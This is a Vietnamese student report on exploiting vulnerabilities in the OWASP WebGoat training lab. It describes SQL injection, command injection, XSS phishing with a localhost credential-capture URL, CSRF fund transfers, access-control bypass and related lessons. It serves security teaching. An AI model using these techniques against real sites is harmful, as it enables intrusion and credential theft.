You are on page 1of 41

BAN CƠ YẾU CHÍNH PHỦ

HỌC VIỆN KỸ THUẬT MẬT MÃ


¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯

KHAI THÁC LỖ HỔNG ỨNG DỤNG WEB VỚI


WEBGOAT
Mục lục
Mục lục 2
DANH MỤC CÁC KÍ HIỆU CÁC CHỮ VIẾT TẮT ..................................................................... 4
DANH MỤC CÁC BẢNG .............................................................................................................. 5
DANH MUC CÁC HÌNH VẼ ......................................................................................................... 6
CHƯƠNG II. TỔNG QUAN VỀ WEBGOAT ............................................................................... 8
2.2. Cấu trúc và đặc điểm của WebGoat ..........................................................................................8
2.3. So sánh WebGoat với ứng dụng thực hành khai thác lỗ hổng ứng dụng web khác
(DVWA) ....................................................................................................................................................11
2.4. Khai thác lỗ hổng ứng dụng web trên Webgoat....................................................................12
2.4.1. Lỗ hổng Injection ............................................................................................................ 13
2.4.1.1. Lỗ hổng Command Injection ........................................................................................... 13
2.4.1.2. SQL Injection ................................................................................................................... 13
2.4.2. Lỗ hổng Cross-Site Scripting .......................................................................................... 15
2.4.2.1. Phishing với XSS ............................................................................................................. 15
2.4.2.2. Stored XSS Attacks .......................................................................................................... 16
2.4.2.3. Cross Site Request Forgery ............................................................................................. 17
2.4.2.4. Reflected XSS ................................................................................................................... 18
2.4.3. Lỗ hổng Access Control................................................................................................... 19
2.4.3.1. Bypass a Path Based Access Control Scheme ................................................................. 19
2.4.3.2. Using an Access Control Matrix ..................................................................................... 20
2.4.4. Lỗ hổng Authentication .................................................................................................. 20
2.4.4.1. Password Strength........................................................................................................... 20
2.4.5. Lỗ hổng Buffer Overflows............................................................................................... 21
2.4.6. Lỗ hổng Denial of Service ............................................................................................... 22
2.4.7. Lỗ hổng Code Quality ..................................................................................................... 23
2.4.8. Lỗ hổng AJAX.................................................................................................................. 24
2.4.8.1. DOM Injection ................................................................................................................. 24
2.4.8.2. Client Side Filtering ........................................................................................................ 24
2.4.8.3. XML Injection .................................................................................................................. 25
2.4.8.4. JSON Injection ................................................................................................................ 25
2.4.9. Lỗ hổng Improper Error Handling................................................................................ 26
2.4.10. Lỗ hổng Insecure Communication ................................................................................. 27
2.4.11. Lỗ hổng Malicious Execution ........................................................................................ 27
2.4.12. Lỗ hổng Parameter Tampering ...................................................................................... 28
2.4.12.1. Exploit Hidden Fields ...................................................................................................... 28
2.4.12.2. Exploit Unchecked Email ................................................................................................ 28
2.4.13. Lỗ hổng Session Management ........................................................................................ 29

2
Hijack a Session 29
2.4.14. Lỗ hổng Web Services ..................................................................................................... 29
2.4.14.1. Create a SOAP Request ................................................................................................... 29
2.4.14.2. WSDL Scanning ............................................................................................................... 30
CHƯƠNG III. THỰC NGHIỆM KHAI THÁC LỖ HỔNG VỚI ỨNG DỤNG WEBGOAT .
......................................................................................................................................... 31
3.1. Cài đặt WebGoat ..........................................................................................................................31
3.2. Thực nghiệm khai thác lỗ hổng ứng dụng web với WebGoat ...........................................31
3.2.1. Command Injection ......................................................................................................... 31
3.2.2. Numeric SQL Injection ................................................................................................... 33
3.2.3. Blind String SQL Injection ............................................................................................. 34
3.2.4. Phishing with XSS............................................................................................................ 37
3.2.5. Buffer Overflows .............................................................................................................. 39

3
DANH MỤC CÁC KÍ HIỆU CÁC CHỮ VIẾT TẮT
Kí hiệu Cụm Từ đầy đủ
AJAX Asynchronous JavaScript and XML
CSS/XSS CSS/XSS Cross Site Scripting
DOS Denial of service
HTTP HyperText Transfer Protocol
OWASP Open source Web Application Security Project
IMAP Internet Message Access Protocol
JSP JavaServer Pages
JDK Java Development Kit
SMTP Simple Mail Transfer Protocol
SQ.L Structured Query Language
URL Uniform Resource Locator
XML Xtensible Markup Language

4
DANH MỤC CÁC BẢNG
Bảng 1. 1 Các rủi ro theo tiêu chuẩn OWASP .............. Error! Bookmark not defined.
Bảng 2. 1 Danh sách các bài học có trong WebGoat .................................................... 8

Bảng 2. 2 Chức năng của lớp LessonAdapte ................ Error! Bookmark not defined.
Bảng 2.3 So sánh WebGoat với DVWA ....................................................................... 12

5
DANH MUC CÁC HÌNH VẼ
Hình 1.1. Mô hình 3 tầng của ứng dụng web ................................ Error! Bookmark not defined.
Hình 1.2. Mô hình dịch vụ ứng dụng web đơn giản ...................... Error! Bookmark not defined.
Hình 1.3. Mô tả hoạt động của 1 ứng dụng web ........................... Error! Bookmark not defined.
Hình 1.4. Mô hình hoạt động của một ứng dụng web ................... Error! Bookmark not defined.

Hình 2.2. Show Cookies / Parameters trên WebGoat v4 .............................................................. 11


Hình 2.3. Show Cookies / Parameters trên WebGoat 7 ................................................................ 11
Hình 2.4. Command Injection ....................................................................................................... 13
Hình 2.5. Blind NumericSQL Injection......................................................................................... 14
Hình 2.6. Numeric SQL Injection ................................................................................................. 15
Hình 2.7. Phishing với XSS.......................................................................................................... 16
Hình 2.8. Mô tả Stored XSS ......................................................................................................... 16
Hình 2.9. Stored XSS .................................................................................................................... 17
Hình 2.10. Cross Site Request Forgery ......................................................................................... 18
Hình 2.11. Mô tả Reflected XSS ................................................................................................... 18
Hình 2.12. Reflected XSS ............................................................................................................. 19
Hình 2.13. Bypass a Path Based Access Control Scheme ............................................................ 20
Hình 2.14. Password Strength ....................................................................................................... 21
Hình 2. 15. Forgot Password ......................................................................................................... 21
Hình 2.16. Buffer Overflows ......................................................................................................... 22
Hình 2.17. Denial of Service from Multiple Logins...................................................................... 23
Hình 2.18. Code Quality ................................................................................................................ 23
Hình 2.19. DOM Injection............................................................................................................. 24
Hình 2.20. Client Side Filtering .................................................................................................... 25
Hình 2.21. XML Injection ............................................................................................................. 25
Hình 2.22. JSON Injection ............................................................................................................ 26
Hình 2.23. Fail Open Authentication Scheme ............................................................................... 27
Hình 2.24. Insecure Communication ............................................................................................ 27
Hình 2.25. Malicious Execution .................................................................................................... 28
Hình 2.26. Exploit Hidden Fields ................................................................................................ 28
Hình 2.27. Exploit Unchecked Email ........................................................................................... 29
Hình 2.28. Hijack a Session .......................................................................................................... 29
Hình 2.29. Create a SOAP Request ............................................................................................... 30
Hình 2.30. WSDL Scanning .......................................................................................................... 30
Hình 3.1. Truy vấn bình thường khi chưa tấn công Command Injection ...................................... 31
Hình 3.2. Tamper bắt gói tin ......................................................................................................... 32
Hình 3. 3. chuyển chuỗi sang URI ................................................................................................ 32
Hình 3.4. Kết quả sau khi khai thác Command Injection .............................................................. 33

6
Hình 3. 5. Numeric SQL Injection ................................................................................................ 33
Hình 3. 6. Kết quả xem thời tiết Colombia ................................................................................... 34
Hình 3.7. Kết quả Numbueric SQL Injection ................................................................................ 34
Hình 3.8. Blind StringSQL Injection ............................................................................................. 35
Hình 3.9. Blind Numberic SQL Injection kết quả thử với chữ H ................................................. 36
Hình 3. 10. Kiểm tra chữ cái đầu tiên có nhỏ chữ “N” không...................................................... 36
Hình 3. 11. Thử chữ cái đứng thứ 2 trong từ cần tìm có nhỏ hơn chữ “h” không......................... 37
Hình 3. 12. Kết quả chèn thử với đoạn <script>alert(1) </script> ................................................ 37
Hình 3.13. Giao diện đăng nhập giả mạo ...................................................................................... 39
Hình 3.14. Kết quả phishing with XSS ......................................................................................... 39
Hình 3. 15. Nhập giá trị khai thác lỗ hổng Buffer Overflow ......................................................... 40
Hình 3. 16. Buffer Overflow thử với 1025 kí tự ........................................................................... 40
Hình 3. 17. Kết quả tràn bộ nhớ đệm thử với 4097 kí tự .............................................................. 41

7
CHƯƠNG II. TỔNG QUAN VỀ WEBGOAT
2.2. Cấu trúc và đặc điểm của WebGoat
Trong WebGoat có các bài học liên quan đến các vấn đề sau:
Access Control Flaws

-Site Scripting (XSS)

Communication

Web Services
Các vấn đề trên sẽ được tích hợp dưới dạng phần của bài học. Mỗi một lỗ
hổng sẽ có những phần tương ứng đi kèm để cho người dùng thực hành. Người
dùng phải hoàn thành tất cả các phần tương ứng đó để có thể hiểu hết về lỗ hổng
đó. Mỗi một phần là một dạng nhỏ của lỗ hổng ứng dụng web đó. Ví dụ như trong
lỗ hổng Injection sẽ có các phần gồm Command line, Numberic SQL Injection,
Lab Injection, String Blind SQL....

Bảng 2. 1. Danh sách các bài học có trong WebGoat


Các lỗ hổng Các bài học
Phần chung Khái niệm cơ bản HTTP
HTTP Splitting và Cache Poisining
Khai thác các vấn đề an toàn luồng dữ
liệu
Cách để thêm một bài học WebGoat
mới
Code Quality Cách khám phá đầu mối trong HTML
Các thông số được định giá Làm thế nào để khai thác trường ẩn
8
Cách khai thác Email không được bảo
vệ
Làm thế nào bỏ qua xác nhận Javascript
bên máy khách
Phá vỡ điều khiển truy cập Sử dụng một ma trận kiểm soát truy cập
Làm thế nào để bỏ qua một chương trình
kiểm soát truy cập dựa trên đường dẫn
Cách để thực hiện trang web giả mạo
Request (CSRF)
LAB: Vai trò dựa Access Control
Truy cập quản trị từ xa
Phá vỡ xác thực Quên mật khẩu
Cách để giả mạo một Cookie Xác thực
Cách tấn công vào phiên làm việc hợp lệ
trên máy
Xác thực cơ bản
Cross Site Scripting (Xss) LAB: Cross Site Scripting
Cách để thực hiện Stored Cross
HTTPOnly Test
Cách để thực hiện tấn công Cross Site
Tracing (XST)
Buffer Overflows Tràn bộ đệm
Injection Flaws Cách để thực hiện lệnh tiêm
Cách để thực hiện Blind SQL Injection
Cách để thực hiện Numeric SQL
Injection
Cách để thực hiện Log Spoofing
XPATH Injection
Làm thế nào để thực hiện tiêm chuỗi

9
SQL Injection
LAB: SQL Injection
Làm thế nào để sử dụng Backdoor Cơ sở
dữ liệu
Xử lý lỗi không đúng cách How to Bypass a Fail Open
Authentication Scheme
Lưu trữ không an toàn Khái niệm cơ bản Encoding
Từ chối dịch vụ Denial of Service From Multiple Logins
Quản lý cấu hình không an toàn Cách để tạo một yêu cầu SOA
Dịch vụ Web Quét WSDL
Web Service SAX Injection
Tấn công SQL dịch vụ web
AJAX Security DOM Injection
XML Injection
Tấn công giao dịch im lặng
Mỗi giai đoạn của bài học trong WebGoat, điều quan trọng là phải hiểu được
hoạt động của mục tiêu. Điều này thường bao gồm:
 Kiểm tra nội dung phía client, chẳng hạn như HTML và script
 Phân tích thông tin liên lạc giữa máy khách và máy chủ
 Rà soát các tập tin cookie và các dữ liệu khác
Các trình duyệt thường cung cấp tính năng cho xem mã nguồn HTML.
WebGoat mở rộng trên đó có các hoạt động để hiển thị Params, Show HTML,
Show Cookies và Show Java. Trong những trường hợp bình thường trình duyệt
cung cấp một tính năng để xem mã nguồn HTML. Đối với Microsoft Internet
Explorer này là "Source" dưới menu View. Đối với Firefox này là "Page Source"
dưới menu. Các tính năng hiển thị HTML của WebGoat chỉ hiển thị HTML có liên
quan cho bài học hiện hành.

10
Hình 2.1. Show Cookies / Parameters trên WebGoat v4
Trong phiên bản WebGoat 7 thì cokies và Parameters được hiển thị luôn trên
web.

Hình 2.2. Show Cookies / Parameters trên WebGoat 7


2.3. So sánh WebGoat với ứng dụng thực hành khai thác lỗ hổng ứng dụng
web khác (DVWA)
Cũng giống như WebGoat, DVWA (Damn Vulnerable Web App) là một
ứng dụng server được thiết kế tồn tài các lỗ hổng ở mức lỗ hổng ứng dụng và sử
dụng để thực hành khai thác các lỗ hổng ứng dụng web. Nhưng WebGoat và
DVWA cũng có một vài điểm khác nhau.
Một điều khác biệt lớn nhất của WebGoat và DVWA là WebGoat đưa các
bài học mà người dùng cần phải vượt qua và đạt được mức yêu cầu. Nếu đạt được
yêu cầu thì coi như đã hoàn thành được bài học. Mỗi lỗ hổng sẽ có nhiều bài học
tương ứng. Nhiệm vụ của người dùng là phải hoàn thành hết các bài học đó.
11
DVWA mô phỏng ra các giao diện web không an toàn có chứa lỗ hổng cho trước
và điều người dùng cần làm là cố gắng tìm mọi cách xâm nhập hệ thống của máy
chủ web và máy chủ cơ sở dữ liệu qua lỗ hổng mà nó đưa ra. Ở đây DVWA không
đưa ra mức chấm điểm mà nó đưa ra 3 mức độ khó khác nhau.
Bảng 2.2. So sánh WebGoat với DVWA

Tiêu chí so sánh WebGoat DVWA


Nền tảng ứng dụng Java Ngôn ngữ php / MySql
Hướng dẫn trong từng Chi tiết Rất ít , gần như không có
bài học
Chấm điểm Có Không
Các lỗ hổng hỗ trợ - Cross-site scripting - Brute Force tactics
issues (XSS) - Command Execution
- Improper access - CSRF
control handling - SQL Injection
- Weak session cookies - Reflected XSS
- SQL injection (blind, - Upload issues
numeric, string) - File inclusion
- Web service issues
Số lượng lỗ hổng Nhiều chia thành các Ít nhưng chia làm 3 mức
phần cụ thể. độ khác nhau low,
medium, impossible
Server Tomcat Không cố định có thể các
sever khác nhau . Ví dụ
apache,…
Nhà phát triển OWSAP Ryan Dewhurst aka
ethicalhack3r và là một
phần của dự án mã nguồn
mở RandomStorm.

2.4. Khai thác lỗ hổng ứng dụng web trên Webgoat


12
2.4.1. Lỗ hổng Injection
2.4.1.1. Lỗ hổng Command Injection
Command Injection là lỗ hổng cho phép kẻ tấn công thực hiện các lệnh tùy
ý trên hệ điều hành máy chủ thông qua một ứng dụng dễ bị tổn thương. Command
Injection xảy ra khi một ứng dụng truyền dữ liệu không an toàn do người dùng
cung cấp (biểu mẫu, cookie, tiêu đề HTTP) mà không có sự kiểm soát. Trong tấn
công này, các lệnh khai thác được cung cấp bởi kẻ tấn công thường được thực
hiện với các đặc quyền của ứng dụng dễ bị tổn thương.

WebGoat cho phép đọc các file có trong hệ thống với input đầu vào do
người dùng nhập vào ví dụ:

"E:\phanmem\webgoat\.extract\webapps\WebGoat\plugin_extracted\plugin\Com
mandInjection\resources\AccessControlMatrix.html" để xem nội dung của file
AccessControlMatrix.html mà tên file AccessControlMatrix.html là do người
dùng chọn. Kẻ tấn công có thể thay đổi câu truy vấn bằng cách chỉnh sửa nội
dung input nhập vào để thực hiện thực hiện mục đích của mình.

Hình 2.3. Command Injection


2.4.1.2.SQL Injection
Tấn công SQL injection là tấn công chèn (tiêm) một truy vấn SQL thông
qua dữ liệu đầu vào từ máy khách đến ứng dụng. Tấn công SQL thành công có thể
đọc dữ liệu nhạy cảm từ cơ sở dữ liệu, sửa đổi dữ liệu trong cơ sở dữ liệu (Thêm/
13
Sửa/ Xóa), thực hiện các hoạt động quản trị trên cơ sở dữ liệu (như tắt máy
DBMS). Tấn công SQL injection là kiểu tấn công Injection, trong đó các lệnh
SQL được tiêm vào đầu vào máy chủ dữ liệu để thực hiện các lệnh SQL được xác
định trước.
SQL Injection gồm có SQL Injection, Blind SQL Injection:
 Blind SQL Injection: là một kiểu tấn công SQL Injection đưa ra các câu
hỏi cơ sở dữ liệu đúng hoặc sai và xác định câu trả lời dựa trên phản ứng của ứng
dụng.
Lỗ hổng cho phép người dùng nhập số tài khoản và xác định xem có hợp lệ
hay không. Sử dụng biểu mẫu này để phát triển kiểm tra tính đúng sai. Phần này
cho ta một chương trình xác định một số code hợp lệ hay không bằng cách thực
hiện câu truy vấn:
SELECT * FROM user_data WHERE userid=accountNumber;
với accountNumber là số mà ta nhập vào
Yêu cầu của phần này là tìm ra được số pin trong bảng pins mà có cột
cc_number = '1111222233334444'.

Hình 2.4. Blind NumericSQL Injection


 Numeric SQL Injection: phần này có một câu lệnh truy vấn query, where
mà điều kiện truy vấn là input đầu vào của người dùng, câu truy vấn cho phép
người dùng xem thông tin tại một số vị trí.
SELECT * FROM weather_data WHERE station = [station]
Nếu không được kiểm tra thì kẻ tấn công có thể thêm vào một số đoạn code
làm cho câu lệnh where không còn đúng nữa. Câu lệnh truy vấn select sẽ dựa vào
14
input là số id của vùng (station). Yêu cầu của phần này người dùng sẽ thay đổi câu
truy vấn để lấy được tất cả các bản ghi có trong cơ sở dữ liệu.

Hình 2.5. Numeric SQL Injection


2.4.2. Lỗ hổng Cross-Site Scripting
2.4.2.1. Phishing với XSS
Phishing là một hành vi giả mạo nhằm lấy được các thông tin nhạy cảm
như tên người dùng, mật khẩu và các chi tiết thẻ tín dụng bằng cách giả dạng thành
một chủ thể tin cậy trong một giao dịch điện tử. Các giao dịch thường dùng để
đánh lừa những người dùng ít đa nghi là các giao dịch có vẻ xuất phát từ các
website xã hội phổ biến, các trung tâm chi trả trực tuyến hoặc các quản trị mạng.
Phishing với XSS là lợi dụng lỗ hổng XSS để thực hiện việc giả mạo và lừa
đảo.
Đây là một ví dụ về một tính năng tìm kiếm chuẩn. Sử dụng XSS và chèn
HTML, mục tiêu là để: Chèn vào html để mà yêu cầu thông tin, thêm javascript để
thực sự thu thập các thông tin, viết các thông tin đến
http://localhost:8080/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS
_HERE
Để vượt qua phần này, các thông tin phải được gửi đến các servlet catcher.

15
Hình 2.6. Phishing với XSS
2.4.2.2. Stored XSS Attacks
Stored XSS là dạng tấn công mà kẻ tấn công chèn trực tiếp các mã lỗi vào
cơ sở dữ liệu của website. Dạng tấn công này xảy ra khi các dữ liệu được gửi lên
hệ thống không được kiểm tra kỹ lưỡng mà lưu trực tiếp vào cơ sở dữ liệu. Khi
người dùng truy cập vào trang web này thì những đoạn script độc hại sẽ được thực
thi chung với quá trình load trang web.
Dạng tấn công bằng Stored XSS được mô tả như sau

Hình 2.7. Mô tả Stored XSS


Trước tiên, kẻ tấn công sẽ khai thác lỗi Stored XSS trên website bằng cách
tìm những form (khung đăng ký, khung comment, khung liên hệ ...) không được
kiểm tra kỹ dữ liệu đầu vào và tiến hành chèn các đoạn mã lỗi vào cơ sở dữ liệu.
Sau đó khi người dùng truy cập vào trang web có chứa dữ liệu liên quan đến
cơ sở dữ liệu này thì ngay lập tức, các đoạn script độc hại sẽ được chạy chung với
16
trang web. Khi các đoạn script được thực thi, tuỳ vào mục đích của kẻ tấn công,
các đoạn script sẽ gửi về cho kẻ tấn công nhũng thông thông tin như cookie,
session token .... đến đây, coi như quá trình tấn công của kẻ tấn công đã thành
công.

Hình 2.8. Stored XSS

2.4.2.3. Cross Site Request Forgery


Cross Site Request Forgery là kỹ thuật tấn công bằng cách sử dụng quyền
chứng thực của người dùng đối với một website. CSRF là kỹ thuật tấn công vào
người dùng, dựa vào đó kẻ tấn công có thể thực thi những thao tác phải yêu cầu sự
chứng thực. Hiểu một cách nôm na, đây là kỹ thuật tấn công dựa vào mượn quyền
trái phép.
Mục tiêu là gửi một email đến một nhóm. Email chứa một hình ảnh có URL
chỉ đến một yêu cầu độc hại. Trong phần này, URL sẽ trỏ đến servlet 'attack' với
tham số 'Screen' và 'menu' của bài học và một tham số phụ 'transferFunds' có một
giá trị số bất kỳ như 5000. Người dùng có thể xây dựng liên kết bằng cách tìm
'Screen 'Và' menu 'trong phần nhập tham số ở bên phải. Người nhận email CSRF
đã được chứng thực vào thời điểm đó sẽ bị đánh cắp thông tin.

17
Hình 2.9. Cross Site Request Forgery

2.4.2.4. Reflected XSS


Reflected XSS là dạng tấn công thường gặp nhất trong các loại hình XSS.
Với Reflected XSS, kẻ tấn công không gửi dữ liệu độc hại lên hệ thống nạn nhân,
mà gửi trực tiếp link có chứa mã lỗi cho người dùng, khi người dùng click vào link
này thì trang web sẽ được load chung với các đoạn script độc hại. Reflected XSS
thường dùng để ăn cắp cookie, chiếm session,... của nạn nhân hoặc cài keylogger,
trojan ... vào máy tính nạn nhân.
Dạng tấn công bằng Reflected XSS được mô tả như sau:

Hình 2.10. Mô tả Reflected XSS

18
Hình 2.11. Reflected XSS
2.4.3. Lỗ hổng Access Control
2.4.3.1. Bypass a Path Based Access Control Scheme
Trong phần này đưa ra lỗi bảo mật tập tin thông qua đường dẫn file, trên
một webserver ứng với mỗi tập tin đều có đường truy cập thông qua một đường
dẫn (URL) nhưng không phải bất kỳ tập tin nào cũng được phép truy cập, ở đây có
một danh sách các tập tin được phép truy cập, kẻ tấn công sẽ thực hiện can thiệp
vào các request gửi lên webserver để thay đổi đường dẫn URL. Người dùng
'webgoat' có quyền truy cập vào tất cả các tệp trong thư mục lessonPlans/en. Kẻ tấn
công cố gắng phá vỡ cơ chế kiểm soát truy cập và truy cập vào tài nguyên không
có trong danh sách tập tin cho phép. Sau khi chọn một tập tin để xem, WebGoat sẽ
báo cáo nếu truy cập vào tập tin đã được cấp. Đường dẫn truy cập mà server cho
phép:

E:\Phanmem\webgoat\.extract\webapps\WebGoat\plugin_extracted\plugin\A
ccessControlMatrix\lessonPlans\en

19
Hình 2.12. Bypass a Path Based Access Control Scheme
2.4.3.2. Using an Access Control Matrix
Phần này tìm hiểu về vai trò và sự cấp quyền, mỗi người được gán với một
vai trò tương ứng với một công việc nào đó, ví dụ:
User Moe [Public] was allowed to access resource Public Share
User Curly [Public, Manager] was allowed to access resource Performance
Review
User Shemp [Admin] was allowed to access resource Account Manager
User Larry [User, Manager] was allowed to access resource Account
Manager
Phần này yêu cầu tìm được user có quyền admin trong các user trên.

2.4.4. Lỗ hổng Authentication


2.4.4.1. Password Strength
Việc đặt password kết hợp nhiều nhóm ký tự khác nhau: chữ thường, chữ
hoa, số, ký tự đặc biệt giúp bảo vệ tài khoản của bạn tốt hơn, dù bị kẻ tấn công bắt
được mật khẩu sau khi mã hóa thì việc giải mã cũng mất rất nhiều thời gian.

Trong phần này, có 6 password để kiểm tra trong bao lâu thì password đó bị
phá bằng trang web https://howsecureismypassword.net

20
Hình 2.13. Password Strength
2.4.4.2. Forgot Password
Mật khẩu đôi khi bị quên, hoặc vì lí do nào đó mà bị mất thì việc khôi phục
mật khẩu là điều cần thiết đối với mỗi hệ thống. Cẩn trọng trong việc đặt câu hỏi
khôi phục mật khẩu. Việc đặt câu hỏi đơn giản, đáp án trả lời ít thì kẻ tấn công có
thể tự dò hoặc đoán ra. Trong phần này, để khôi phục lại mật khẩu thì người dùng
đã đặt các câu trả lời dễ đoán và đơn giản dẫn. Qua đó sẽ bị kẻ tấn công lấy được
mật khẩu.

Hình 2. 14. Forgot Password


2.4.5. Lỗ hổng Buffer Overflows
Lỗi tràn bộ nhớ đệm hay gọi tắt là lỗi tràn bộ đệm là một lỗi lập trình có thể
gây ra một ngoại lệ truy nhập bộ nhớ máy tính và chương trình bị kết thúc, hoặc
khi người dùng có ý phá hoại, họ có thể lợi dụng lỗi này để phá vỡ an ninh hệ
thống. Lỗi tràn bộ đệm là một điều kiện bất thường khi một tiến trình lưu dữ liệu
vượt ra ngoài biên của một bộ nhớ đệm có chiều dài cố định. Kết quả là dữ liệu đó
21
sẽ đè lên các vị trí bộ nhớ liền kề. Dữ liệu bị ghi đè có thể bao gồm các bộ nhớ
đệm khác, các biến và dữ liệu điều khiển luồng chạy của chương trình (program
flow control).

Các lỗi tràn bộ đệm có thể làm cho một tiến trình đổ vỡ hoặc cho ra các kết
quả sai. Các lỗi này có thể được kích hoạt bởi các dữ liệu vào được thiết kế đặc
biệt để thực thi các đoạn mã phá hoại hoặc để làm cho chương trình hoạt động một
cách không như mong đợi. Bằng cách đó, các lỗi tràn bộ đệm gây ra nhiều lỗ hổng
bảo mật đối với phần mềm và tạo cơ sở cho nhiều thủ thuật khai thác (exploit).
Việc kiểm tra biên đầy đủ bởi lập trình viên hoặc trình biên dịch có thể ngăn chặn
các lỗi tràn bộ đệm.

Trong phần này, hệ thống yêu cầu nhập first name, lastname, room number,
qua đó kẻ tấn công cố gây ra lỗi tràn bộ đệm để thực hiện mục đích của mình. Ở
phần này thì yêu cầu là lấy được tài khoản của khách VIP.

Hình 2.15. Buffer Overflows


2.4.6. Lỗ hổng Denial of Service
Denial of Service from Multiple Logins
Tấn công từ chối dịch vụ kiểu đăng nhập nhiều lần, trong ứng dụng web khi
người dùng đăng nhập, webserver sẽ truy vấn vào cơ sở dữ liệu để kiểm tra tài
khoản, cần phải mất thời gian làm điều đó trong khi vẫn giữ kết nối với client. Tùy

22
theo webserver mà số lượng kết nối "concurrent connection" là nhiều hay ít, khi số
lượng kết nối đó nhiều hơn số lượng cho phép webserver từ chối các kết nối tiếp
theo đó.

Trong phần này, hệ thống web chỉ cho phép 2 connection login, nhiệm vụ là
sẽ tìm ra ba tài khoản hợp lệ để đăng nhập và làm cho webserver tê liệt.

Hình 2.16. Denial of Service from Multiple Logins


2.4.7. Lỗ hổng Code Quality
Code Quality là lỗi bảo mật liên quan đến chất lượng của mã nguồn.
Trong khi code lập trình viên thường hay có thói quen chú thích, ngay cả
username/password, và quên xóa đi. Điều này vô tình để lộ ra tài khoản và mật
khẩu cho kẻ tấn công lợi dụng để đăng nhập chiếm quyền.
Trong phần này, lập trình viên chú thích tài khoản admin và mật khẩu mà
không xóa. Kẻ tấn công có thể xem mã nguồn và lấy được thông tin đăng nhập.

Hình 2.17. Code Quality

23
2.4.8. Lỗ hổng AJAX
AJAX là một nhóm các công nghệ phát triển web được sử dụng để tạo các
ứng dụng web động hay các ứng dụng giàu tính Internet. AJAX Security là các vấn
đề an ninh gặp bởi các ứng dụng AJAX.

2.4.8.1. DOM Injection


DOM là một chuẩn được định nghĩa bởi W3C dùng để truy xuất và thao tác
trên các tài liệu có cấu trúc dạng HTML hay XML bằng các ngôn ngữ lập trình
thông dịch (scripting language) như Javascript, PHP, Python.

DOM Injection là lỗ hổng cho phép chèn mã xấu làm thay đổi cấu trúc của
trang web bằng cách thay đổi cấu trúc HTML.

Hình 2.18. DOM Injection


2.4.8.2. Client Side Filtering
Dữ liệu không cho phép người dùng truy cập thì nên lọc ở server, không nên
lọc ở phía client vì người dùng có thể dễ dàng lấy được nếu dữ liệu lọc ở phía
client.
Trong phần này, người dùng Moe Stooge có quyền xem tất cả các thông tin
về mọi người khác trừ Neville Bartholomew. Yêu cầu tìm được thông tin của
Neville Bartholomew qua tài khoản Moe Stooge.

24
Hình 2.19. Client Side Filtering
2.4.8.3. XML Injection
Trong ứng dụng web, client và server dùng XML để trao đổi dữ liệu.
Lỗ hổng XML injection cho phép kẻ tấn công cố gắng tiêm thẻ XML khác
nhau trong thông điệp SOAP nhằm sửa đổi cấu trúc XML.

Yêu cầu của phần này: WebGoat-Miles phần thưởng Miles cho thấy tất cả
các phần thưởng có sẵn. Khi bạn nhập ID tài khoản, hệ thống sẽ hiển thị số dư của
tài khoản và các sản phẩm mà tài khoản có thể mua được. Mục tiêu là cố gắng
thêm sản phẩm vào phần tài khoản có thể mua. ID tài khoản của bạn là 836239.

Hình 2.20. XML Injection


2.4.8.4. JSON Injection
Lỗ hổng JSON Injection phát sinh khi một kịch bản tích hợp dữ liệu điều
khiển vào một chuỗi được phân tách như một cấu trúc dữ liệu JSON và sau đó
được xử lý bởi các ứng dụng. Kẻ tấn công có thể sử dụng hành vi này để xây dựng
một URL nào đó, nếu một người dùng truy cập sẽ gây kích hoạt mã JSON tích hợp

25
đó. Tùy thuộc vào mục đích mà dữ liệu này được sử dụng, nó có thể là có thể lật đổ
logic của ứng dụng, hoặc gây ra những hành động ngoài ý muốn trên danh nghĩa
của người dùng.

Trong phần này muốn đặt vé máy bay có hai loại vé:

Giá vé cao (600$) không dừng trạm nào.

Giá vé rẻ (300$) dừng 2 trạm.

Yêu cầu và nhiệm vụ là mua vé rẻ nhưng không muốn dừng chạm.

Hình 2.21. JSON Injection


2.4.9. Lỗ hổng Improper Error Handling
Improper Error Handling là một trong những lỗ hổng phổ biến do trong quá
trình code các lập trình viên đã sơ ý để lộ các thông báo không nên hiển thị. Từ đó
làm cho các kẻ tấn công dễ dàng tấn công.

Trong phần yêu cầu: khi nhập User là “Webgoat” và mật khẩu là “webgoat”
(tức thông tin đúng) thì không vấn đề gì xảy ra, nhưng khi bỏ trống password thì
thông báo này đã hiển thị “* Invalid username and password entered”. Yêu cầu đã
đăng nhập thành công mà không cần mật khẩu.

26
Hình 2.22. Fail Open Authentication Scheme
2.4.10. Lỗ hổng Insecure Communication
Đăng nhập với mật khẩu không mã hóa (plain text), khi Submit lên server thì
người tấn công có thể sử bắt gói tin và biết được password.

Hình 2.23. Insecure Communication


2.4.11. Lỗ hổng Malicious Execution
Lỗi thực thi mã độc, thông thường webserver cho upload tập tin lên ví dụ
như hình ảnh để hiển thị, trong trường hợp tập tin upload lên có thể thực thi được
thì rất nguy hiểm.

Trong phần này sẽ cho upload một file ảnh lên hệ thống mà không có kiểm
tra ảnh. Kẻ tấn công có thể upload một file thực thi lên hệ thống.

27
Hình 2.24. Malicious Execution
2.4.12. Lỗ hổng Parameter Tampering
2.4.12.1. Exploit Hidden Fields
Hidden fields thường được dùng để lưu trữ dữ liệu tạm thời nào đó mà
người dùng bình thường không thấy được, Hidden fields không được kiểm tra lại
lúc thực thi ở server nên có thể bị thay đổi, lúc này logic không còn đúng nữa.

Hình 2.25. Exploit Hidden Fields


2.4.12.2. Exploit Unchecked Email
Lỗ hổng Exploit Unchecked Email là khi gửi mail, nội dung mail không
được kiểm tra nên kẻ tấn công có thể chèn đoạn mã xấu vào. Khi người nhận mail
mở lên thì đoạn mã sẽ được thực thi.

28
Hình 2.26. Exploit Unchecked Email
2.4.13. Lỗ hổng Session Management
Hijack a Session
Hijack a Session là một loạt các tấn công khác nhau, các tấn công có liên
quan đến sự khai thác session giữa các thiết bị đều được coi là chiếm quyền điều
khiển session.

Các nhà phát triển ứng dụng phát triển thường quên kết hợp sự phức tạp và
tính ngẫu nhiên cần thiết cho biến session. Session phải được sinh ngẫu nhiên trong
mỗi phiên. Nếu biến session của người dùng cụ thể không phức tạp và ngẫu nhiên,
thì ứng dụng rất nhạy cảm với các tấn công bạo lực dựa trên phiên.

Hình 2.27. Hijack a Session


2.4.14. Lỗ hổng Web Services
2.4.14.1. Create a SOAP Request
SOAP là một giao thức do W3C định nghĩa. SOAP áp dụng XML để xác
định dữ liệu dạng văn bản (plain text) thông qua HTTP và SMTP. Web Service
29
dùng SOAP trong quá trình truyền tải dữ liệu. SOAP không phụ thuộc ngôn ngữ
lập trình hay bất cứ nền tảng nào vì nó dùng XML.

